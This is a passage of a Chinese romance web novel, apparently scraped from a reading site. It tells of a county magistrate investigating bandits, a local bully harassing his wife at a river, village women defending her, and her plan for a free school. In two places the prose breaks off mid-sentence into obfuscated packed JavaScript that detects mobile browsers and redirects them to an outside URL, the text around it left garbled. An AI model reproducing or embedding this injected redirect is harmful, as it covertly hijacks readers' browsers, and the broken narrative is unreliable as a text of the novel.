“大人,山上明哨暗哨的确少了许多,看样子……这帮土匪最近的确没什么动作。” 陈君迁却不这样认为。 “雁鸣山登记在册的土匪有多少人?” “目前还在的有三十七个。” 陈君迁垂眸暗暗思忖片刻,笑着把手里的菜饽饽扔进了一个衙役怀里。 “山上绝对不止三十七人。我看过他们的厨房,盐罐子米缸都有挪动过的痕迹,但台子上的灰没擦,看数量,绝对不是给三十七个人吃的。” 想到雁鸣山已有半年不曾到县衙登记,又突然多出了人口,衙役们面面相觑。 陈君迁回眸望向遥远的山顶。 “盯紧萧景垣和雁鸣山……他们肯定有问题。” “是!” 去山上走了一趟,这一天也过去了一半。 陈君迁回到县衙,打算将今日上山的发现和谢遇欢说上一说。 走进后院,却发现地上摆了好几只布口袋,谢遇欢正蹲在后面一样一样地看。 “什么东西,哪儿弄来的?”他边问边走了过去。 听见他回来,谢遇欢起了身,握着扇子的手往背后一背,一副幸灾乐祸的样子,嘴上却是关切:“大人忙于政务,鞠躬尽瘁,实是辛苦了。” 陈君迁听得直皱眉,翻开一个布口袋一瞧:“黑豆?” 谢遇欢点头,把后面几个布口袋一一打开。 里面是枸杞、韭菜、莲子、山药、黑芝麻,甚至还有一袋羊腰。 陈君迁愣了一下,十分不解:“你买这些做什么?” “非也,非也,”谢遇欢认真道,“这可都是县里的百姓送给大人的,我已经替大人送回去很多了,剩下这些……大人,还是补补吧。” 陈君迁:? 26. 调戏 饮马河畔,天清气朗,阳光照着清澈的河面,波光粼粼。 这个时节,面上的河水白天是温的,手伸下去又是不一样的温度,越往下越凉。 趁着天好,村里不少妇人都在河边浣衣。 沈京墨和姑娘们在上游处停了下来,蹲在石头上清洗刚刚挖出来的野菜。 柳翠仪和沈京墨挨在一起,想到什么便聊什么。 “姐姐,我这几天成天去找你,会不会耽误你做事情呀?” 沈京墨低头洗着野菜,听柳翠仪这么一问,不禁莞尔:“不会。正好我平日也无事可做,你来找我,我高兴还来不及。” 她这话一点不假。离开上京后,除了陈家人,就数柳翠仪与她最为熟悉,算是她在这里的第一个朋友,她自然是乐意多和她亲近的。 “真的?这我以后可就要经常去打扰姐姐了?”柳翠仪也笑嘻嘻的,“那,之前姐姐要是无聊了,都做些什么?” 沈京墨还真没什么印象——刚到葡萄村那段时间,她还没习惯从奢华的上京到这穷乡僻壤的落差,又惦记着亲人,不是以泪洗面,就是一个人枯坐在房中发呆,看着日头升起又落下,才知道又过去了一日。 再后来筹备婚事,一忙起来,似乎就没什么闲暇时间了。 想了一会儿,她才记起陈君迁给她备了不少话本。 “家中有话本,闲来无事偶尔翻上一翻。” 柳翠仪一听来了兴致:“姐姐,上京的小姐们是不是都会读书识字?” “嗯,上京学堂众多,若家中有女儿,还会请夫子到家中讲课。” 柳翠仪不禁发出一声羡慕的喟叹,甩甩野菜上的水,又取了一把出来接着洗。 沈京墨好奇:“这里不许女子读书么?” “那倒也不是,”柳翠仪抿唇,一副气恼的模样,“县里是有一所学堂,但一年要五两银子。五两!除了那些富户,谁家里拿得出五两银子?所以只有那些有钱人家的孩子读得起,我们村里,一个都没去过。” 原来如此。 沈京墨点了点头没做评论。虽说五两银子不算多,但在这里,的确是一笔不小的费用。 不过…… “那陈大人,”她突然觉得好奇,“你说村里人都没去过学堂,陈大人也是么?” “是啊!小陈大人也没上过学堂。” 沈京墨只觉得不可思议。 回想起来,他的确说过村里只有云岫先生一个认字的,但当时她只当是调侃读书人的话,没有多想。 “若是如此,他如何做得了县令?断案需依据律法,查阅卷宗、县志,核算赋税,没上过学堂怎么做得来?” 沈京墨的语气带着十足的震惊和意外,柳翠仪听了,却露出一副骄傲的神色,笑道:“姐姐你不知道吗?小陈大人打小就聪明,那些律法条令,我听都听不懂一句,可我听说,他上任时只让当时的县丞念了一遍,就全都会背了!至于查什么卷宗,那不是有谢师爷吗?” “可我朝为官是要考试的呀?” “是吗?”柳翠仪不大懂,“这倒没听谁说过。可能我们这个地方比较特殊吧。好几年前,县里来了帮土匪,占山为王,杀了好多人,活下来的要不是跑到外地逃难去了,就是躲进了山里,过得可惨了!吃没得吃,还担惊受怕。那时的县令带人去剿匪,结果去一个死一个,衙役越来越少,土匪却越来越多……” 柳翠仪压低声音,脸上露出一丝恐惧:“当时朝廷一连派了四五个县令来,最后全都让那拨土匪给宰了!脑袋切下来挂在山寨门上,风一吹都晃荡!后来再派人,就没人肯来了。” 这事沈京墨自然不曾听说过,眼中不禁多了几分惊讶和惶恐,没想到上京之外,竟会乱成这样。 柳翠仪却变了表情,朝她一笑:“但是三年前,小陈大人带人上山,把那帮土匪打败啦!哦,那个唐家娘子姐姐还记得吧?她就是那时被小陈大人救下来的、被土匪掳上山的人之一。小陈大人大败土匪之后没多久,朝廷就让他去当县令啦。” 听完柳翠仪的话,沈京墨惊讶地痴痴眨巴眼睛,许久才把这么多消息消化下去。 难怪他这个县令和别的县令不一样,未经科考在家乡做官,还敢不住官署,敢情是别人怕做永宁县的县令掉脑袋,才把这烫手山芋扔给了他。 他竟也真敢接!而且看这里人对他的态度和评价,这个父母官似乎还当得不错。 “那他……” 沈京墨越听越感兴趣,还想顺着柳翠仪的话茬接着问,可话没说完,就被一捧水花溅了一脸。 她忙抬手一躲,循着水花看去,才发现好几个姑娘洗完了菜,趁着天气暖和,赤着脚下了河,正在互相泼水打闹,撩起的水花可没长眼睛,有不少都溅到她和柳翠仪身上了。 柳翠仪脸上的水珠更多。 她愣了一下,把手里的野菜放回篮子里,也冲着几个姑娘泼起水来:“好啊你们!故意的吧!别跑!” 几个姑娘也回泼起来,水花越来越大,柳翠仪低着头盲泼,身边的沈京墨被她连累,衣裳也湿了不少,边笑边扭过脸去躲。 柳翠仪一个人不是对手,被对面泼得抬不起头来,闷头大叫:“姐姐帮我!” 沈京墨昨天刚和姑娘们认识,还不算熟悉,不敢下狠手。姑娘们却不同,听见柳翠仪喊她,自然就将她当做了柳翠仪的帮手,连她一起泼了起来。 眼下河水不凉,日头也高,水泼在身上倒也不冷。 沈京墨被这样泼着,也忍不住反手回击起来。 剩下几个在岸上的姑娘也纷纷加入战局,很快河岸边就乱做了一团,水花四溅,姑娘们又笑又闹,引得旁边的婶婶们都笑着看了过来。 沈京墨在上京可从没这么放肆过,平日里和小姐妹们小聚,也就是品茶绣花抚琴,偶尔天气好人又多,才会去野外蹴鞠骑射,但也会拘着性子,不敢失了大家闺秀的礼仪。 许是这几日与柳翠仪她们相处下来,既放松又舒服,葡萄村的姑娘们性情又都开朗活泼,她便也不由得放下了大小姐的架子,融入了进去。 水中激战正酣时,身后不远处突然传来一个嘶哑难听的声音。 “哟,我当是谁呢,这不是县令夫人吗?” 岸边的姑娘们都一怔,就连一旁浣衣的妇人也都停下了手里的活往后看去。 沈京墨自然也听见了这个声音,下意识回头望去。 烈日下,一个面容猥琐的瘦男人背着手站在十步开外,身后跟着两个同样猥琐的小厮。 看清那人的长相时,沈京墨脸色就是一白。 她当然记得他,萧景垣,那个曾意图对她行不轨之事,还将她诬告到县衙的恶霸! 自从被他在武凌山上追赶后,她便常常做噩梦,梦里最多的除了父母族亲被砍头的场面,就是萧景垣那张恶心的嘴脸! 她原以为,自己嫁给了永宁县的县令,萧景垣就算再如何,也不敢再来骚扰她,却没想到今日竟又撞上了这个无赖。 见沈京墨不出声,萧景垣那双难看的三角眼淫/邪地上下打量起她来。 虽说这小贱人害他屁/股脑袋流了血,但这张脸、这身材着实是勾人!自打那天在武凌山瞧见了她,他这半个多月一闭上眼,满脑子都是抱着她翻云覆雨的画面,哪怕是睡着醉花楼的绝色花魁,想象的也是沈京墨的模样。 长这么大,他还从没对那个女人这么长情过!正好今日陈君迁不在,他就是耐着屁/股疼也得来瞧瞧这勾得他魂不守舍的美人。 萧景垣充满邪念的目光落在沈京墨身上,她只觉得浑身都像有虫子乱爬,恶心得令人作呕。 可她如今在河边,四下开阔无处可躲,身上的衣服也湿着,以至于她连站起身来都不敢,更遑论避开他的视线。 萧景垣瞧出了她的窘迫和惶恐,更加肆无忌惮地盯着她,黄牙一呲淫/笑起来:“听说姓陈的不太行啊?美人儿还不如跟他和离, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到萧景垣带人灰溜溜地走了,林婶她们才转回身来,一边招呼水里的姑娘们上岸,一边安慰沈京墨和柳翠仪。 尤其是林婶,看着宝贝儿媳被歹人恶语相向,心疼得不行,一边给她擦去脸上的水珠一边道:“没事儿,啊,没事儿!坏蛋让娘赶跑了,别怕啊。” 柳翠仪摇摇头,看向沈京墨:“我没事儿。沈姐姐你还好吗?” 沈京墨脸色苍白,脸上挂着的水珠也不知是河水还是眼泪,看上去像极了美人垂泪,惹人怜惜。 婶婶们纷纷安慰:“陈家娘子,你别害怕。那个萧景垣是县里的恶霸,我家爷们儿怕他,婶婶可不怕!他要再敢欺负你,以后婶婶们在村里见他一次打他一次!” “就是,那恶霸就是欠揍!也不知道那帮大老爷们儿怕他什么,打了他又怎样,他那当大官的表舅难道还能从上京跑过来治咱的罪?陈家娘子,你要是不好意思跟小陈大人说,婶婶替你去说,让他好好收拾收拾那姓萧的!” 在场众人你一言我一语,把沈京墨围在中间安慰了半晌。 婶婶们大多常说本地话,安抚起沈京墨来,却都努力地说着官话。 沈京墨原本又惧又气,但听着这些带着乡音略显笨拙的质朴官话,她又觉得心里暖暖的,原先的惊恐无助也渐渐散去,唯余对她们的无尽感激。 她们明知萧景垣有身份有背景,却仍肯挺身而出。离家快一个月,沈京墨头一次在这里感受到家一般的安全感和归属感,仿佛她本来就是她们的女儿、姐妹一般。 她擦去脸上泪痕,破涕为笑:“多谢各位婶婶、各位妹妹,我给大家添麻烦了。” 婶婶们都笑呵呵地摆摆手,跑去捡棒槌和木桶了。 姑娘们把野菜和篮子收好,坐在岸边等太阳把湿衣裳晒干,才和洗好了衣裳的婶婶们一起,把沈京墨夹在中间,一起往村里走去。 27. 办学堂 半个村的女人一起浩浩荡荡把沈京墨送回陈家。 这一路上婶婶们有意逗她开心,说笑个不停,等把她送到家门口,沈京墨早已把方才的糟心事抛之脑后了。 此时还不到晌午,沈京墨不饿,反倒觉得胸中鼓胀心情甚好,瞧见什么家务事都想做一做。 问过陈川柏后,她先把水灵灵的野菜放进厨房,又在他的帮助下,按着柳翠仪说的法子,将老了的扫帚苗切碎泡水,捞出后掺和上鸡食,端去后院喂鸡。 后院里鸡窝的门没关,但许是天太热,三只鸡都躲进了窝里没出来。 沈京墨站在鸡窝前,抓了一把鸡食撒出去。 正要撒第二把时,鸡窝里突然传来一阵“扑棱棱”的响动,一只红毛母鸡扑扇着翅膀,一路小跑着从窝里钻了出来,跑得太快,还被窝门钩掉了两根毛。 是她的老对头,“二红”。 平时沈京墨若是来后院,它肯定会被赶回窝里锁起来。今日陈川柏没注意,让它溜了出来。 它“咯咯咯”地叫着,腾空半人高,尖锐的喙朝着沈京墨的手叨了过来,气势汹汹地,看样子非得啄下块肉来不可! 沈京墨听见“二红”叫,下意识地往后退了两步。 “二红”扑了个空,调转脑袋又飞了过来。 她正欲跑回前院去,脚步刚一后退,却又顿住了。 她记得陈君迁说过,这鸡就和人一样,欺软怕硬,你若见了它就躲,它就会见你一次欺负你一次。 就跟刚刚那个泼皮无赖一个样! 想起方才饮马河畔发生的事,沈京墨只觉胸中激荡,憋着的一口恶气就要压制不住了。 “二红”冲上来的同时,她一咬牙一瞪眼,用了十成十的力气,往前一步,狠狠地跺了一脚地面! “哈!” “二红”叫,她也叫,她这么大一个人,还能叫不过一只鸡? 她这一脚和这一嗓子,威力不大,震慑力倒不小,本来低头愣冲的“二红”让她一喝,竟吓得翻了个跟头! “二红”懵懵地在地上坐了片刻,猛地爬起来,翅膀抱着摇摇晃晃的鸡头,一溜烟钻进鸡窝里去不敢出来了。 原来陈君迁和林婶他们说的都是真的…… 看它以后还敢不敢欺负她! 沈京墨满意地仰起下巴,把剩下的鸡食撒完,雄赳赳气昂昂地走回了前院。 * 永宁县衙。 下值时,陈君迁拗不过谢遇欢,只得拎着几大袋子补肾壮阳的食材,一脸无奈地往家走。 走出后院,林逸舟和苏北铭不知从何处窜了出来,一左一右地把陈君迁包围在了中间,狗腿地主动帮他拿东西,二脸鬼祟的笑。 “大人,上回给您的画本儿……” 两人话说一半就不说了,光看着他“嘿嘿”地笑。 “很着急?”他俩已经是第二次提画本的事了。 “也不是……”两个人挤眉弄眼地互相递了好几个眼神,最后高衙役林逸舟开口,“有一本重新贴过封皮的,您要是不看,要不明儿先给我俩拿回来?那本不好看,我们给您换本更好看的!” 矮衙役苏北铭在一边连连点头。 陈君迁不看画本,自然也不会与他们细究,看哪本不是看,反正家里有那么多本,也没见她多偏爱哪一个。 既然他俩急着要,陈君迁想也没想:“行,明儿给你们带来。” 林苏二人如获大赦,当即咧开嘴乐起来:“谢大人!” 说罢,既已得了他的回应,俩人也不再送了,把布袋子往他手里一塞,扭头就跑回了县衙。 * 陈君迁把几个布口袋放进自家厨房时,陈大正在里头蒸菜饽饽。 陈君迁和他打了声招呼,自顾自地去处理羊腰。 逼仄的厨房容不下两个大人,他人高马大的,一往里走,就把陈大挤得紧贴在了灶台上。 陈大被挤得肉疼,回手在他背上拍了一巴掌,眼神顺便瞅了瞅口袋里的东西,一怔。 前两天儿媳拿回家一小袋枸杞,他还没当回事,但今天儿子拿回家的这些东西,拆开看都是寻常食材,可凑在一起…… “虎子……”老爷子欲言又止,不可思议地上上下下打量着自己这壮实精干的大儿子。 陈君迁等了半天没有下文,回过头来看陈大。 陈大一副痛心又关切的表情,似乎还有些难以启齿,看得他一脸疑惑:“有话就说。” “你……唉,”陈大张了张嘴,表情变换了好几次,最终同情又理解地拍了拍陈君迁的肩膀,“实在不行,找个大夫看看,不丢人。食补,慢。” 陈君迁:…… 他皮笑肉不笑地咧了咧嘴:“不劳您操心。” 接着把手里的羊腰丢回盆里,拿了荔枝和做点心的用具原料往外走。 陈大追出去两步:“这腰子怎么吃?” “您自己留着吃。” 这是什么混账话!他一个守身如玉十年的鳏夫用得着这个? 陈大脱下一只鞋来飞向陈君迁。 陈君迁像是背后长了眼似的,脑袋一歪,鞋子擦着耳朵飞了过去,被他抬脚一踢,又掉回了陈大跟前。 陈大骂骂咧咧地捡起鞋来穿上,钻回了厨房。 爷俩一个在厨房、一个在院里,谁也不理谁。不一会儿工夫,荔枝糕和晚饭同时出了锅。 陈君迁把饭端回东屋就关上了门。 沈京墨早就闻到了饭菜的香味,到桌上一瞧—— 韭菜烧羊腰,枸杞山药粥,甚至还有满满一盆黑豆稀饭。 就算先前柳翠仪塞给她枸杞时,她误以为是用来明目的,如今看着这一桌的菜,她就是再傻也该看懂了。 更何况她不傻,还学过医药,更有一群成了亲就愈发不正经的小姐妹,见了面就聊这些有的没的! 沈京墨拿着筷子犹豫了半晌,最后还是夹了一块荔枝糕低下头慢慢吃。 陈君迁看着这一桌菜,面无表情地大口吃了起来。 虽说他用不着补什么,但是这么多菜做都做了,总不好浪费,再说他今日翻山越岭的,确实饿极了。 默默吃了一会儿,陈君迁看了沈京墨一眼,想和她说些什么,一张嘴,才想起她先前都是等吃完了饭才肯说话。若是他在用饭时问她个什么问题,她会匆匆吃完再同他说。 这么一想,他就闭了嘴,直等到她放下筷子,才装作不经意地问她:“怎么样?” “大人问什么?” 陈君迁指了指荔枝糕。 沈京墨笑着夸他:“甜而不腻,润而不粘,滋味、口感、色泽皆是上品。” 陈君迁压下嘴角,又问:“与林家大郎做的比,如何?” “青出于蓝而胜于蓝。” 他听着心里美,自己也夹了一块,但不如沈京墨会细细品味,囫囵吞下,只能咂摸出个大概滋味来,但确实不错,酸甜可口又有清香。 原来她喜欢这种口味。 陈君迁嘴角噙笑继续吃饭,连那多少有些腥臊的羊腰,嚼起来也格外带劲。 沈京墨悄悄观察了他一会儿,确定他现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13844113|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心情不错,这才和他讲了白天发生的事。 只不过有关萧景垣的言语调戏精简了许多,柳翠仪和同村妇人们的保护和帮助则是细细道来。 听到萧景垣竟还敢来骚扰她,陈君迁眉头不禁一皱,只是还没说什么,便被沈京墨一句话轻轻揭过,又讲起挖野菜和震慑“二红”的事来。 他没有打断她,直到沈京墨一一说完,他才开口:“明天开始我会派人到家中守着,必不让萧景垣乱来,你别怕。或者你随我去县衙住?” “大人不必如此,我这几日都与村里的妹妹们一起,还有林婶她们看着,想来也不会有事。” 她一顿,接着才试探着把自己讲这些事的真实意图说了出来:“大人,自我来到永宁县,便一直受大人与同村各位的庇护,却未能为大家做些什么。今日与翠仪闲聊之后,我有个想法——” 陈君迁放下筷子认真听。 “听翠仪说,县里只有一家学堂,且学费高昂,寻常人家难以负担。我虽才疏学浅,但教些读书识字还是可以的。所以我想,在村里办所学堂,不收学费,只要愿学,谁都可以来。” 沈京墨说罢,满眼期待地等待陈君迁的看法。 陈君迁听罢却笑了:“沈小姐这个想法极好,只不过,在村里怕是行不通。” 沈京墨不解:“为何行不通?我分文不取,应该多得是人来呀?” “读书识字是好,可村里人世代种田、打猎、捕鱼为生,家里连纸笔都没有,学了字用来做什么?种不了地、打不了兔子,既然学来无用,自然不会有人来了。” 他笑看她,沈京墨却一急:“可……可世代农耕渔猎,便要世代留在这小山村里。倘若识字,便能读书,读了书便能考取功名、步入仕途,岂不是光宗耀祖的好事?” 说完,她又补充:“哪怕只有一两个人因此走上仕途改变命运,去往长寿郡、或是上京,我也觉得值得!何况……何况学堂办来不止能教书识字,刺绣我也能教,姐妹们学些本领,也能赚钱养家,不比靠天吃饭要好?” 她的神情十分认真,今日在饮马河畔听说村中无人读过书,又听见柳翠仪那般羡慕的声音,她就有了这个想法,回来以后就琢磨了一下午。 她想为这里的人们做些什么,读书、女红又恰好是她擅长、而这里欠缺的。 虽然陈君迁说得也有道理,但她还是觉得读书是正途,就算一天只学一个字、背一句诗,也好过大字不识。 见她如此执着,陈君迁不由得笑了出来,起身收拾碗筷。 “好,你说得有理。这样,我先把碗洗了,然后你拿我当学生,先给我讲讲课,讲什么都行。我若觉得有趣、愿意学,便答应你在村里办学堂,如何?” 沈京墨眼睛一亮:“一言为定!” 陈君迁端碗出去,走了两步,想起林苏二人明天要画本,对她道:“上次带给你的话本里有一本贴了封皮的,你帮我找出来。” 虽然他还没答应她办学堂,但沈京墨已经瞧见了希望,心情好得不得了,他话音刚落,她便去那堆话本中翻找起来,不一会儿就找到了压在最下面那本贴着《霸道县令狠狠爱》封皮的画本,放在了桌上,接着美美坐了下来,单手托腮,不自觉地哼着欢快的小调等他回来。 没多久陈君迁就洗好了碗,擦干手走了回来。 家里没有纸笔,沈京墨便倒了碗水,打算在桌上写首诗教他。 陈君迁却大喇喇往桌边一坐,顺手拿起桌上那本画本递给了她。 “不用那么麻烦,什么字不是字,讲这本就行。”